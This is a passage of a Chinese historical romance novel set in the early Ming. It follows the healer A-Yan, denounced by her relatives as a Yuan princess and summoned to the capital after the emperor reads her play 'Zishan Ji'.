大丛重瓣的嫣红色花朵,簇拥在苍青的狭长叶片间。
花朵如桃,叶片似竹,绣的是夹竹桃花。
男子摸了摸少女的额头,拂去遮在她眼角旁的小碎发,收在耳畔,轻轻打起幔子。
那个叫白篱的小丫头歪在外间兀自好睡,浑不知夜间有人出入。
暗红色衣衫的中年妇人立在二层小楼的窗格旁,低眸注视着昨夜借宿的青年拿着一柄伞穿过积水明净的庭院。
他的襟上和胸前,银丝绣的花纹在晨曦中闪亮,如桃的花朵,似竹的叶片,亦是夹竹桃。
“哈……”衣衫不整的少年人打了个呵欠,一边揉着眼,一边推开窗格。
窗外一株桂树的枝条迫不及待地舒展进屋内,洒下一串露水。
树影下,立着一个青色衣袍的青年,灰色的眼眸带笑。
“哎哟,苏芥师兄,你可算回来了!”少年笑起来,眼角皱出细细的纹路,一撑窗口,直接跳了出去。
“我回来了。”苏芥与他并肩绕过回廊,重新往屋内去。
“师兄啊,你前儿去那个什么周家,是不是用了我的名字?昨夜有人来送谢礼,刨根问底,费了我好一番口舌才打发回去。”少年撅起唇,满嘴控诉,一脸幽怨,“你倒好,自己跑得无影无踪,害我一人独守空房。”
苏芥笑了笑:“阿陈,我是去寻阿颜了。还有,这词不是这么用的。”
苏陈一怔,随即又跳起来:“你怎不带我一道去?!常听你说起她……”
推开门,方才还空无一人的屋子内,赫然站着一个黑色劲装的人,一双刀子似犀利的眼寒光闪烁。
苏陈吓得尖叫一声,窜到苏芥身后,露出半张脸,眨了眨眼。
黑衣人被他的模样逗笑,周身骇人的气息渐渐消失。
“师弟顽劣,让你见笑了。”苏芥抬手。
黑衣人点了点头,目光转动,似有所指,“司中有事,因此来走一趟,不想昨日在街面上恍惚见你,因此前来一探。”
“什么要紧事?你不去做,反在这儿躲懒?”苏芥掩上门,端来热茶,“这里是林家的铺子,你杀气腾腾的,可别吓到了旁人,让人家不好做生意。”
“哼。”黑衣人大大咧咧地在桌前坐下,捏着茶盏一言不发。
苏陈换了衣衫,蹑手蹑脚地绕到他身后,无声无息扮了个鬼脸。
舌头还没缩回去,那人猛地回过头,神色不善。
苏陈吓得往后一退,咬了舌头,“唉哟”一声撞在隔断的花架上。
苏芥挡在两人之间,“小草,你适可而止,既来了,就说人话,别打哑谜。”
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苏陈眨了眨眼,也小声嘀咕道:“就是啊,小草哥,你在外头行走都这么凶恶的吗?可和平日来药园时不同呢。”
又收到了一记凌厉的刀子眼,苏陈缩了缩脖子,讪讪一笑,抓起一件外衫,往外跑,“林掌柜找我说话呢,我先走一步。”
“他走了,说吧。”苏芥也坐下来,与黑衣人静静对视。
黑衣人名为王献,是目下是仪鸾司副使之一,平日也没什么固定的公差,不过为皇帝做些心血来潮的小事,平日与他相熟同僚常唤他的外号“小草”。
王献将茶盏重重放下,茶汤泼出来,溅得半桌都是,“来查一些前朝旧人。”
苏芥擦去桌面上的水迹,并不说话。
王献瞥他一眼,冷笑,这人惯会装模作样。
三年前,他才调进仪鸾司,皇帝便吩咐他接手一个案子,是应天府一名官员家中接连死了好几口人,死状颇惨。
因那官员本是元朝旧臣,一时朝廷内外接受了招降的旧臣全都人心惶惶,唯恐是皇帝的意思,皇帝因而将案子推到都尉府,责令近臣彻查,不受其余各部辖制,一有结果直接上报。
旁人都有要务,一时均抽不开身,最后王献便奉命去查了。
查来查去,死的是府中的几个内眷和幼子,请仵作验看数次,均说是恶疾所致,至于是什么恶疾,他们说不上来,扯了许多尸疰鬼疰之类的名字。
正毫无头绪时,那官员告诉他,府中三子远游归来,目下在太医院下的药园任职,因两人早年间关系颇为不妥,其人又擅于医药,与那些仵作和医师也算交好,或许难脱干系。
王献也觉有理,当即前去拜谒。
太医院下的药园,是皇帝听了苏老神医的话,按照唐制设立的,园中设有药园师两人,便是苏老神医早年在外云游时收的弟子,苏芥和苏陈。
那位官员口中的三子便是药园师苏芥。
王献动身前细查一遍,得知苏芥生母是色目人,昔年作为夫人进了门,却大不受宠,大都城破后,那位夫人死于府中,所出一子则被后来云游至大都的苏老神医带走。虽查不清那时究竟发生过什么,但王献能猜到一二。左不过是因母亲之死反目,这么明显的嫌疑还看不出来,他岂不是瞎子?
药园中草木葱茏,那个叫苏芥的药师正带着生徒授课,见了他,温和一笑,吩咐生徒们自去温习。
两人在一株高大的皂角树下坐下来。
王献问什么,苏芥答什么,答得毫无迟疑,不慌不忙,不卑不亢,就算明知是谎话,也不见他停顿片刻打个腹稿。
或许早已料到今日之境,背熟了应对之策?
最后问不出什么破绽,王献道:“我知事情是你做的,但既问不出什么,自会结案。”
左不过是需要查一查,用来堵人的借口,苏芥不是早已给他设好了吗?
这案子在王献手里拖了几月,神不知鬼不觉稀里糊涂地结了案,之后再无人过问。
从此,王献成了药园的常客,小生徒们与他混得熟了,偶尔托他上树摘果子掏鸟窝什么的,王献没有不依的,倒与他平日在外行事不同。
“你知道我来做什么?”王献在大理石的桌面上一敲,茶盏一跳,又溅出半桌的水,“有人一封信告到应天府,说姑苏城里,有前朝的公主。”
苏芥知道他言下之意,淡淡道:“阿颜她,并非元人的公主。而且,那人让你来,自然也不是单单为了寻一位公主的。”
5. 第五章 不相识
苏芥再次擦净桌面上的水迹,缓缓道:“阿颜的母亲曾是大都琴娘弦月,弦月夫人的母亲是顺帝之女高昌,公主之母则是早先的钦察皇后。但那已是四十余年前的事情了。”
“未曾听说前朝曾有什么高昌公主。”王献垂眸思索一会儿,眉头一凝。
苏芥翻过一个倒扣的茶盏,重又倒了半盏茶水,“钦察皇后被杀害时不过十六岁,那孩子降生不久,便被亲信宫女抱出宫门,推说是夭折了,此后一向养在民间。那之后又经过数十年,新旧交替,谁会记得她一个微不足道的弱女?”
“你知道的倒是很清楚,比那着三不着两的密信强多了。”王献斜倚在桌边,神色冷诮,“但我知道,这姑苏城中确有一位昔年至正皇帝的小公主。”
苏芥敷衍地点了点头。
王献大为不满,“我虽并非为你那一心挂念的小娘子而来,但信却不能不理。”
有人告了,就要清查,虽他瞒下也容易,可并非长久之计,保不准那人还会再告,到时落到旁人手中,牵扯出更大风波。
他也见过那女子的画像,眉目如画,明艳昳丽,琥珀色的眼睛如蕴金屑。画中女郎一身浓重紫衣,手中提一盏圆圆的明瓦灯笼,另一只手背在身后紧握,腰肢旁露出一柄匕首锋利的刀尖,乍见柔和,细看却透出一股慑人的气势。
苏芥向他说,画中的女郎是他的妻子。
王献当时嗤之以鼻,那画中女子看起来少说也有二十余岁,彼时苏芥才十七八岁,怎不说那画上是他姊姊,倒更令人信服。
不过,后来王献慢慢信了。
苏芥一言一行中不自觉流露出来的那种熟稔与深情,就像他超乎寻常的镇定一样令人不可理解。
“带阿颜去应天府也无不可。”苏芥无所谓地笑笑,“她性子刚强,不会连这些事都处理不了。”
王献一哂,不置可否。
“师兄,林掌柜来了。”
苏陈带着一个富态的中年男人在外敲门,王献往屏风后一转,随后只听隔扇一响,人已走了。
林掌柜笑眯眯地进来,团团作了一揖,“苏小郎君说要带我寻个好大夫,给我们家少奶奶看病。”
苏芥一笑,看向苏陈。
“林掌柜,我师兄答应了,你快跟他去。”苏陈折进屋内拿了药箱,快步跟在后面,“师父他老人家待过的镇子,我也要去瞧瞧。”
阿颜走到廊外,恰遇上白篱匆匆反身进来。
“姑娘,你说奇怪不奇怪?我才要去寻那家铺子,说他们东家少奶奶的病我们姑娘能治,他们的人却自己来了。”不用多跑一趟,白篱心情大好。
“不奇怪。”阿颜捏着袖角,冷冷道,“你不知道,有人多管闲事。”
白篱莫名,心道姑娘今日是不是吃了姜,一大早起来,说话就这么冲。
阿颜长舒口气,逗一逗廊下鹦鹉,转进花圃里。
芍药栽在矮篱前,花瓣半开,其间缀着露珠,连翘拥出沉甸甸一大串灿烂的金色花朵,贴近泥土的地方,猫儿脸的三色堇和一蓬一蓬紫花地丁簇拥在一起,衬在其他花卉下方。
最远处是一株红花檵木,重重青红色的叶片间吐出玫红色细丝一般的花瓣,檵木旁栽一株老梅,枝桠上滚出血点般的花苞。
林掌柜跟着白篱走进精致的小院,苏芥和苏陈往墙外一转,隔着瓦片聚成的梅花式花窗,透过红梅的花影望见正俯身为花圃浇水的阿颜。
“原来是这个模样。”苏陈见她甩出一串亮亮的水珠,放下水瓢抬头望来,忙往旁边一躲,叹道,“这小娘子好年轻。”
和画上的不同。
比画上的美人更为明艳昳丽,只缺了那股凛然杀气。
“啧。”王献不知何时出现在苏陈身旁。
苏陈吓得直拍心口,张着嘴想叫又不能高声,憋到一张脸通红。
王献肆无忌惮地攀上高墙的黛瓦,松动的碎瓦随着墙灰“簌簌”往下扑落。
苏芥透过花窗,静静看着繁花掩映中的女郎抬起眼眸,淡然地看着墙头的不速之客。
“小娘子。”王献面无表情地开口,“事了之后,随我去应天府走一趟。”
阿颜同样面无表情,冷淡地看着墙头黑衣飒沓的人,但她唇角微抿,似乎天生带笑,声音好听,如泉水淙淙,令人舒服,“你是皇帝身边的人?”
王献点头。
真聪明。
聪明而镇定。也聪明到令人害怕。
似乎早知道他会来,甚至早已想好了对策,就像当时在药园的苏芥一般。
王献回头看了一下高墙另一边,苏芥已经走远。
两个心思都这么重的人,怎么可能相爱?不会在午夜梦回时分,感到彼此都是难缠的危险吗?
苏陈尚未走,听到王献踩得瓦响,一回头,透过重重花影,恍惚见那女郎转过身,握紧的拳垂在身侧,疾步走远,浅紫色的褙子随风扬起,下面纯白的裙摆上绣着大片紫色浓烈的碎花,他不认得那种花。
猝然间仿佛能感到那女郎身上漫起肃然的气息——这一次与那幅画里一模一样。
白篱带着林掌柜走进庭院。
阿颜已收拾了方才的情绪,仍带着温和得体的笑意,屈膝为礼,“我已知道您的来意。只是有一味药未成,还要再等几日。”
“颜姑娘,不敢当。”林掌柜深深一揖,“听闻颜姑娘最擅医治疑难杂症,且治病不需用药汤,而常用药粥、药酒等等。”
白篱扬起头,与有荣焉,那可不是吗?她家姑娘就是厉害。
阿颜笑了笑,她自己不爱喝药,因而觉得逼旁人喝药是天下最不近人情的事——那些药实在是,太苦、太难喝了。
“另有一事,我家小少爷这几日着了风,有些咳嗽,那么小的孩子,莫说不肯喝药,只怕也喝不下去药,可否劳烦姑娘去一趟?”林掌柜又深深一揖。
白篱跟在阿颜身后,一脸坦然地走进林家内宅。
楼阁精致,草木葱茏,左不过是江南景致,不稀奇。
白篱也见过一点世面,走得目不斜视,最后好奇的目光落在自家姑娘手中摆弄的一枝花上。
那是一枝纯白色的花,素净的很,让人想到新落的雪。几片花瓣从锐利的叶片之间生长出来,叶片苍绿色,仿佛剑。
“姑娘,这是什么花?”白篱凑近前。
“野姜花。”阿颜不疾不徐地穿过花圃,走进一座三层高的木楼,“前些日子那个客商送我的,说是他们家乡才有的花。”
白篱一怔,姑娘喜欢搜集各种花草,家里总是有许多行旅之人送来的稀奇的花,倒也不奇怪。
走了一阵,她才恍然发觉,在这陌生的院子里,为什么姑娘并不需要人引路,熟悉得仿佛自己家中?
刻画着百鸟的桃花木门被缓缓推开,门内走出一个中年美妇,满头华饰,笑容满面。
“这就是颜姑娘?生得好样貌,还会给人治病,真了不起,敢不是神仙托生的吧?”
“这是我们大太太。”林掌柜姗姗来迟,肩上背一个大麻袋,重重往地上一放,喘口粗气,“姑娘要的姜,我都取来了。”
阿颜点了点头,“每日熬成热汤,为小少爷擦洗数次即可,不必过浓
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,小儿皮肤娇嫩,恐受不得。”
“姑娘去看看我家新妇?”林太太的笑容极有亲和力,“她性子腼腆,不爱见生人,如今产后体弱,更是下不得床出不得门,谁也不见。不过姑娘与我一见如故,我家新妇见了你,定也喜欢。”
阿颜转上盘旋的木楼梯,明明只有三层楼的高度,却像走了一圈又一圈,一直转过好几个轮回,回到最初相遇的地方。
她走出阴暗的木廊,静静站在阳光明媚的檐下等待。
似乎应该有一个青衣潇洒的青年人等候在这里。
但是……什么都没有。
门从里推开,一个丫鬟端着喝过的药碗走出来,好奇地打量一下面前陌生的娘子。
阿颜垂下眼,慢慢跨过低矮的门槛。
床帐内侧躺着一个年轻女子,面色微白,颧骨上一抹浮红,乌发杂乱地散落在枕上。
阿颜没有说话,极慢地走上前,目光闪动。
“你是……?”女子坐起来,迷茫不解地看着面前的少女。
这少女眼眸微掩,眼眶下潮红,眼中似乎蕴着一层薄泪。
“姐姐还认得我么?”阿颜撩开纱帐,在床沿上自然地坐下。
病中的女子仔细打量了她的容貌,带着遗憾摇了摇头,“细细想来仍觉未曾相识,只是面善,姑娘是……?”
“或许曾有一面之缘吧,如今不记得了……这是好事。”阿颜并未回答名姓,只向她淡淡一笑,随后起身离开。
“姑娘。”白篱见她出来,上前笑道,“听说这位夫人卧病寂寞,本是谁也不见的,不想和姑娘投缘,姑娘怎么也不多陪她聊一会儿?”
阿颜不言语,径自转下楼梯。
是好事啊……不记得了,才是好事。
她本是行旅于时间中的异数,是不祥之人。或许就是要忘记她,与她再无关系,才能得救。
“姑娘……?”白篱提着裙子匆匆跟上,“姑娘怎么了?!”
她哭了!她竟然哭了!
纵然她用手挡住了面庞,泪依然顺着指缝漏出来。
怎么可能?!
白篱愕然,忘了继续去追。
纵使姑娘在周家过得百般不顺心,却从来没有哭过一次!不,连眼眶都没红过。她总是用那样闲闲的、带着笑意的眼睛望着周遭的一切,似乎什么难处都难不住她,这……到底是怎么了?
林家墙外,苏芥和苏陈并肩走远。
“你叮嘱林掌柜务必接那位姑娘去宅子上,务必让她见到林家卧病的少夫人,难道就是为了招惹她哭?”苏陈万分不解。
前一刻气冲冲似要杀人的小娘子,竟然从林家出来后就哭了。女孩子的情绪真是太奇怪了吧?
“她……”苏芥一顿,望着远处檐头,“并非要故意招惹她,只是……我不能去见的人,希望她能代我一见。”
阿颜倚在墙外,头顶的滴水檐投下一带高低起伏的影子。
她侧过头,看到即将走到转角的一片青色衣角,唇边忽然泛起笑。
“她不认得我。”她仰头望着天上慢慢飘过的云,喃喃自语,“她这一回不认得我们了……宣清,你开心吗?”
你过去的姐姐已经不再是你的姐姐了,所以她不会再遇到从前那些事,不会经历痛苦,也不会死去。你开心吗?
“姑娘。”白篱在墙外找到阿颜,取出一块帕子,为她遮去移到面上的阳光,“姑娘心里有什么难过的事吗?”
“没什么。”阿颜笑着摇头,衣袖擦去面上泪痕,站了起来,她身后摩挲着白篱的面颊,“我只是高兴,回去吧。”
6. 第六章 仪鸾司使
“姑娘,今天是云珍姑姑亲自下厨。”白篱一层一层打开食盒,取出几个白瓷盘。
“鸡油炒笋片,木耳冬瓜汤,还有八珍糕,姑姑说做的时候没放糖,需蘸蜂蜜吃……”白篱摆开碗碟,把乌木箸子搁在蜂蜜碟子旁,看看阿颜。
阿颜执笔伏案疾书,丝毫没有动筷子的意思。
“姑娘。”白篱凝眉,姑娘从林家回来后,就铺开纸日夜不停地写,常常连吃饭睡觉都耽误了。
“嗯……放在这里就好。”阿颜匆匆抬起头,又埋头下去,手中的笔一刻没有停过。
白篱伸了伸脖子,看到她手边放在一册已经装订成书,蓝色的封皮上写着三个潇洒的魏碑字:
紫衫记。
白篱眨了眨眼,看起来似乎是戏本的名字。
阿颜翻开左手边的工尺谱,纤细的手指顺着一列一列密密麻麻的字划过,停留在某一列上,足尖轻点,打着节拍校对曲词是否合于调子,有无拗口。
“姑娘!”白篱在她身旁蹲下,将盛着八珍糕的瓷盘放在工尺谱上,挡住了字迹,“姑娘先吃点东西垫垫肚子,再做学问吧。”
阿颜松开书,随手掰了半块八珍糕,正要塞进嘴里,白篱一把抢过,把盛满了蜂蜜小碟子拿过来。
蜂蜜中漂浮着腌渍过的玫瑰花瓣,白篱把八珍糕蘸上蜂蜜,才再递给阿颜。
阿颜无奈一笑,“白篱……”
“白篱在的。”白篱把糕递到阿颜唇边,脸也蹭到近旁,撒娇道,“姑娘好好吃饭,好不好嘛?你这样子,我和云珍姑姑都会担心的。”
“好。”阿颜终于搁下笔,揉了揉额角,舒口气,任白篱收起笔墨纸砚,排开碗碟,摆上各色小菜。
白篱在一旁坐下,一手支颐,含笑看着阿颜慢慢吃东西。
没有人说话,只能听到调羹和碗沿不时一磕,叮叮作响。
白篱着手收拾杯盘。
阿颜起身略走了一走,瞥到书案下放的酒坛,叫住白篱:“你明日把这坛酒送去林家,嘱咐林少夫人,用酒一碗,配着那位苏药师的方子,早晚各一剂,待一坛酒喝完,病也就好了。”
“姑娘自己不去吗?”白篱抱起酒坛,戳戳红泥的封口,眨了眨眼。
“我就不去了。”阿颜摇头,复又想了想,“你也不必进去了,将酒送到林家的铺子,把话带到即可。”
“……姑娘,很怕林家吗?”白篱喃喃着走了出去。
或者也不能说怕,只是姑娘似乎在极力避免与林家深交,她明明那么在意,却又不想涉足其中。
阿颜在书案前重新坐下,闭上眼默默思索了一会儿,忽听窗格一响,睁开眼时,屋中多了一人,是王献。
王献抱臂立在帘外,神色冷淡,并不开口。
阿颜抬起眼皮,静静打量他一刻,问道:“有事?”
王献问道:“你就一点不怕?”
“怕?”阿颜俯身拾起被风吹散的纸页,按照顺序一页一页排列好,收拢在手中,抬头看着王献,“为什么要怕?因为家里的好妹妹们去州府的告发么?”
阿颜从屏风上拿起浅浅的莲青色外罩,用绛色发带束起披散的发丝,“要启程去应天府的话,就走吧。”
不就是将她的身份递交到应天府去了吗?她的身世在这朝代更替之际,也算不上什么了不得的秘密。
所以她有什么好怕的?这时候怕的,该是曾窝藏过“前朝余孽”的周家。
王献又打量了她一眼,慢慢道:“你原也可以不去……”
“姑娘!”白篱急匆匆冲进来,串着香木珠的帘子在她身后凌乱摇动,响声不绝于耳。
王献不及避开,索性站在原处。
“你……你又是谁!”白篱竖起眉,瞪着王献色厉内荏地喝道,“你为何在我家姑娘这里?你是怎么进来的?!”
王献看着她并不说话。
白篱颤着唇,还想说什么但一句话也说不出来。
面前这人身上带着不好的气息,让人本能地感到很危险,危险到让人想转身逃避。
“怎么了?”阿颜温和地望着白篱,“白篱,不要怕,慢慢同我讲。”
“我……姑娘……”白篱眼眶一红,忙抬手胡乱抹一把脸,急道,“有几个官兵在院子外面,说要、要抓姑娘!”
话音刚落,一队官兵在一人带领下,冲进院落,将满院的花枝撞得七零八落。
阿颜皱眉,撩开帘子,缓步走下石阶。
王献随她一道走进院中,一言不发摘下腰牌,亮给为首的人。
那人一看,原本面上满是威严怒色,霎时一抖,忙堆起笑脸道:“啊!卑职不知是大人亲自来此,卑职绝不是要跟您抢功劳,只是……我们这儿接到两个小娘子检举,说她们的表姊是……”
那人抬眼打量阿颜一眼,续道:“这位姑娘只怕就是那告密信中说的前朝公主吧……?”
“我家姑娘才不是!”白篱挡在阿颜身前,气鼓鼓地瞪着周围虎视眈眈的官兵,“你们衙门讲不讲道理了?”
为首的人冷哼一声:“小姑娘,你说不是就不是吗?上头说了,云南的梁王不安分,咱们江南也得好好查查,看有没有蒙古人的内应。”
“胡说!我家姑娘打小住在姑苏,什么云南的梁王,根本不认得。”白篱急得要哭,拽着阿颜胳膊,“姑娘,你快说句话啊!”
“说了就有用吗?”阿颜拍拍她颤抖的肩膀,侧头去看王献,“你说,是不是?”
王献神色不善地扫过院中官兵,揣起腰牌,开口:“这位娘子已有都尉府安排去处,你们地方州府就不必添乱了。”
“啊,啊,卑职明白,只是……”领头的人皱起眉,文书都已经报上去了,他们还等着抓到人去领赏,谁知道竟被都尉府的人抢了先,而且还是派了这么个狠角色,一句通融的话都说不得。
“只是什么?”王献皱起眉。
那人不敢再说,带着手下灰溜溜地告辞。
阿颜走到花圃旁
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,细细整理被撞乱的花枝,提着裙袂拾阶而上,向吓呆的白篱点了点头,“白篱,去沏茶来。”
王献跟着走进屋内,仍旧立在纱幔外,“我不喝茶。特意支开她,你要说什么?”
“……啊,一时忘了,你们平日都很小心吧?”阿颜站在帘内,扶起帘子,抬手挂在绞丝银勾上,“不喝茶的话,就在这里说话吧。”
王献冷笑:“特意到州府检举,看来你那舅母和表妹们,不惜搭上自己也要置你于死地。不想在离开姑苏府前报复她们吗?”
“无妨。”阿颜笑笑,眉眼微弯,“现在还不是时候。”
她不在意涉险,但是,杨氏她们,她绝不会轻易放过。
“那好。”王献一哂,这女郎真是自信,即便现在的处境如履薄冰,却深信自己能够平安归来么?
“三日后,虎丘山下,有等你的车马,你可以带上一人同行。”
阿颜低头翻看手中书稿,似乎不经意地问道:“是不带上旁人更好吧?”
“也未必。”王献在心中暗暗冷笑,对于普通人来说,此去自然是凶多吉少,不必多拖累一人。
可眼前这女郎,恁地神定气闲……只怕不仅能化险为夷,还能逆转祸福吧?
入夜,苏云珍坐在阿颜屋中,面色变幻。
白篱站在苏云珍身后抹眼泪,她方才听了阿颜与苏云珍谈话才明白,那可是亲军都尉府啊!那个可怕的黑衣男人说他是亲军都尉府隶下仪鸾司的副使,可以同皇帝亲近说话的人。
那可是面上光鲜,暗地里吃人不吐骨头的地方。他们竟然要请她家姑娘去应天府“做客”,这可怎么好?
“母亲,没关系的。”阿颜抱着两册装订好的书,浅浅一笑,“您不要悬心,我会回来的。”
白篱抹一把泪,抽噎着凑到阿颜身边,虽抖得不成样子,仍大着胆子道:“姑娘,带上白篱吧!”
阿颜抬起眼,看她一眼,“你要随我一起去?”
“是、是的!”白篱握紧手,尽管那双手已经抖得不成模样。
阿颜将两册书重重放在书案上,深吸口气:“白篱。”
“是,白篱在的。”白篱莫名地眨了眨眼。
“母亲也在这里。”阿颜起身,与白篱平视,琥珀色的眼眸流转着莫测的光辉,“白篱,你可以怕,也可以不跟我同去,我都不会责怪你。可是,不要和我走散了。”
白篱悚然一抖,只觉背后汗毛倒竖,尚未回过神来,发现自己已下意识点了头。
“那好。”阿颜拍了一下手,肃然的神色松懈下来,“明日便收拾东西,我们去应天一趟。”
“阿颜。”苏云珍温和地看着她,伸手抚摩着她的发丝,“母亲相信你,你一直都做得很好。”
一次做得比一次更好,到如今,早已不再需要她插手去护着她。
阿颜扑进她的怀里,笑道,“母亲放宽心就好。待我从应天府回来,给您和舅舅、表哥带应天府的雨花茶和盐水鸭。”
7. 第七章 紫衫记
周家宅子内,二太太蔺氏气得砸了七八个汝窑豆绿瓷杯,满地碎瓷片,光彩温润,如同玉屑,看得一旁的丫鬟们暗暗心疼。
这可是一整套的茶具,是表姑娘前年治好了一位富商独子的病得的谢礼,顶顶名贵的汝窑瓷。表姑娘看二舅母喜欢,就送了蔺氏,半点不心疼。
今日就这么砸了,委实可惜。
蔺氏仍不消气,一手叉腰,气得面色飞红,头上珠钗乱摇,全无往日当家主母的形象。
“翠云!去把大太太给我请过来!”
“是。”翠云一抖,低下头,绕开地上一片狼藉,快步去了。
未过半盏茶工夫,杨氏来了。一身大红绸衣,大幅青金色团花牡丹刺绣,头上一个纍丝赤金环,镶着血点一般的红宝石,手中双面绣的团扇轻摇,活像钟鸣鼎食之家的贵妇人。
“妹妹唤我何事?若是发月钱,打发小丫鬟便是了,怎还要我亲自跑一趟?”杨氏笑着跨进门槛,一眼看见地下的碎瓷片,不由肉疼,“哎哟,这不是前年阿颜得的那套汝窑茶具吗?怎地都碎了?人都说‘不须万贯家财,宁要汝瓷一片’,妹妹看不上这一地碎瓷片,不如赏了老姐姐?”
这可是满地白花花的银子。
杨氏心里猫抓似的痒。阿颜搬出周家后,她断了财路,这些年又大手大脚惯了,非新衣不穿,非珍馐不吃,如今源头之水一断,再这么用,勉强存下的银子立刻吃紧。
何况,她膝下还有两个将要出阁的闺女,嫁妆还没置办起来。
“下作的娼妇,眼皮子就那么浅!”蔺氏说着,又抓起与茶杯一套的壶,“砰”得往地上一掷,唤一旁丫鬟,“拿笤帚来扫下去,你们各自分了,不许给这鼠目寸光的蠢人!”
茶壶在杨氏脚下摔得粉碎,杨氏向后一跳,扇子指着蔺氏:“二妹妹,我敬你平日管家事,你就蹬鼻子上眼,忘了谁是长,谁是幼?”
“好好的砸东西置气,看来我家如今已大富大贵,连汝窑瓷都不放在眼里了。”杨氏伸出一只脚,踢开地上瓷片,大喇喇地走到蔺氏面前,在她身旁坐下,隔着一张小案,手一摊,“那你把对牌给我来,饶我两千两银子给我两个丫头置办嫁妆去。”
蔺氏气得发抖,一只手握成拳,若不是自持身份,她真想一巴掌把面前不知廉耻的大嫂打到地上去。
翠云扫去碎瓷片,吩咐小丫头们先拿下去,自己拿两个廉价些的茶杯沏了茶端上来,向杨氏道:“大太太这话有趣。我们家说起来也是在逃的罪人,能过得这么富足,多亏了过去老太爷用性命挣出来的家业,还有近些年表姑娘为人诊病积攒下的财帛和好名声。大太太将表姑娘气走了,还在这里摆阔,可真真令人费解。”
“那小蹄子自己要走,八头牛都拉不回来。”杨氏鼻子哼一声,斜眼看蔺氏,“妹妹往日同那小蹄子好得蜜里调油似的,她说走就走,不也没给你面子?”
蔺氏缓口气,闭上眼,交叠在膝头的双手转动一串金丝砗磲串珠,慢慢道:“大嫂,你也不必同我撒泼装傻,有人在应天府和苏州府同时告了阿颜是蒙古人,阿颜已被都尉府的人带往应天府。我且问你,写密信告发的人是不是你?”
杨氏一梗脖子,别过头,粗声粗气地道:“是我又怎样?”
那小蹄子打了她,她气不过,自然要回敬她的。
“蠢妇!”蔺氏“啪”一巴掌砸在两人之间的檀木小茶案上,上面的杯盏齐齐一跳。
“是是是,就您是大户人家知书达理的小姐儿!”杨氏霍地站起来,“不比我这种乡野人家出来的蠢人,见钱眼开,目光短浅。我不脏了你的地!”
话被她说了,蔺氏倒一时语塞。
一晃神杨氏到了外间,向着门内啐了一口:“你等着,那小蹄子心眼小,总有一日也要回敬你!”
她不过贪阿颜些财物,说几句无关痛痒的话,因此到头来挨一顿打,闹过痛过也就丢开了。她可知道周云钊葫芦里卖的什么药,阿颜定不会轻易放过那头笑面虎,到时候究竟是哪家更难看,还不一定呢。
…………
春风细细,莲青色的车幔在满堤翠色中轻轻拂动。
白篱揭开一角窗幔,遥遥指向远处一片如云的花海,欣喜地道:“姑娘,你看!比邓尉山的梅花还好看!”
阿颜倚着车壁,手中拈一根线香,低头静静翻看膝头两部书册。
见阿颜不理她,白篱挑开车帘,“王大人!这儿的花真好看,那是哪里?”
王献皱眉,扫了她一眼,冷声道:“普济寺。”
“普济寺栽的是樱花。”阿颜合上书,笑得眉眼弯弯。
“哎,姑娘你在听我说话啊?”白篱缩回身子,放下车帘,对着外间扮个鬼脸,小声嘀咕,“这人好凶,不肯说一句好话!”
阿颜微笑挂在唇边,向她摇摇头。
帘子一晃,王献的脸出现外面,双眉紧锁,仿佛白篱欠了他三辈子都还不清的钱。
“啊!”白篱往一旁急急让开,额头“咚”一声撞上车壁。
“你吓着白篱了。”阿颜抬手,将看了一路的两部书交给王献,“已经到了?你要先去向皇帝复命吧?代我呈上这两部书,多谢。”
王献一句话都没来得及插上,莫名其妙手中多了两册书。
眼前浮现出苏芥在他面前护着那个调皮师弟的模样,简直和这难缠的小娘子一模一样!果然不是一家人不进一家门,王献暗暗想道。
低头看向手中蓝色封皮的书册,封面上三个端正潇洒的字:
紫衫记。
王献将书揣进怀里,大步向皇城走去,始终没有翻开看一眼。
…………
烟气浮动,轻纱摇晃。
一片明黄色中,满地满案都堆积着各色奏章,几乎将案前坐着的人完全遮挡住。
王献缓步上前,撤步跪下,“卑职回来了。”
“哦……朕收到你前些日子的消息了。”堆叠如山的奏折上升起一张略显富态的脸,眉头微皱,“是个蒙古人小姑娘而已嘛,其实没必要带回来。那么多蒙古人,难不成都杀光了事?
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你看,我们朝中不也留着些旧臣?你们暗暗地寻访那些同云南有联络的人就是了。”
皇帝想了想,又道:“还有,顺帝老儿还有个小儿子,我听毛骧说,他被人藏在姑苏城里,算来如今年纪还不大。将他找来,教养大了再送回草原去,岂不比当年的崇礼侯更听话?”
王献点头,将两册书取出来,找了一个略空的桌角,放下来。
“这是什么?”皇帝拿起一册书,眯起眼细细一瞧,“《紫衫记》?哦,怕是一折戏本子?”
“是那位颜姑娘写的。”王献抬起头,看到皇帝竟扔下手头繁忙的事务,翻看起来。
“有趣。”皇帝走马观花地翻完一册,将之扔给王献,“你也看看,当真有意思的。我倒不知,顺帝还有个如此的女儿。”
王献随手翻了几页,将故事看了个大概。
这是将近四十年前的事情了。
元帝即位为君,立太平王燕帖木儿的女儿钦察答纳失里为后;两年后,燕帖木儿家族势败,皇后兄弟皆被杀害,皇后也被赶出皇宫,死于民间,皇后所出刚满月的公主流落民间,被心腹的宫女抚养长大。
小公主号为高昌,名月迷失。十六年后,高昌长大,与汉人生下一女名为弦月。弦月不满一岁时,高昌孤身回到大都,身着紫衣混进宫中伶人之间,得知仇人伯颜已死,却依然放不下杀母之恨,借献舞刺杀生父至正皇帝,也就是后来的顺帝。
高昌因刺杀失败死于宫中,她留下的女儿弦月长大后,化身琴娘来到大都,与当时京中闻名的才子礼部侍郎朱珩相恋。几年后,弦月不告而别,就在大都被攻破的当夜,有人看到弦月一袭紫衣,翩然出现在宫墙内。
王献合上书册,喃喃道:“……那位颜姑娘,就是弦月的女儿吧?”
苏芥向他简略说过一点的,他倒真是清楚得很。
皇帝眉开眼笑,拍案道:“妙哉!好个聪明的女子,满眼俱是些《朝天子》、《普天乐》!”
文化人说好话,可真是看得人赏心悦目,若这孩子是个男儿身,他倒要留她在这里为官做宰,为他写那些太平盛世、升平文章。
“这丫头还在应天府吧?”
“是。在普济寺旁借宿。”王献讶然,不过一折戏本子,竟叫皇帝欢喜得都改了口?
“那就好,叫那丫头准备准备,朕明日要当着满朝文武的面召见她。”
王献皱眉,当着满朝文武召见一个年轻女子?真是闻所未闻。且她又非真的前朝公主,不过是一个与元宗室有那么几缕遥远关系的女孩子罢了。
皇帝仍在翻看那部《紫衫记》,一边看一边赞叹:“文笔好,辞藻好,字也漂亮!比朕那几个女儿强多了。”
王献将这件事知会了阿颜,阿颜不过挑了挑眉,面色无波。
反是白篱一会儿激动得满屋子乱窜,一会儿又紧张到面色惨白,在屋内横冲直撞找适合穿上朝堂的衣服。
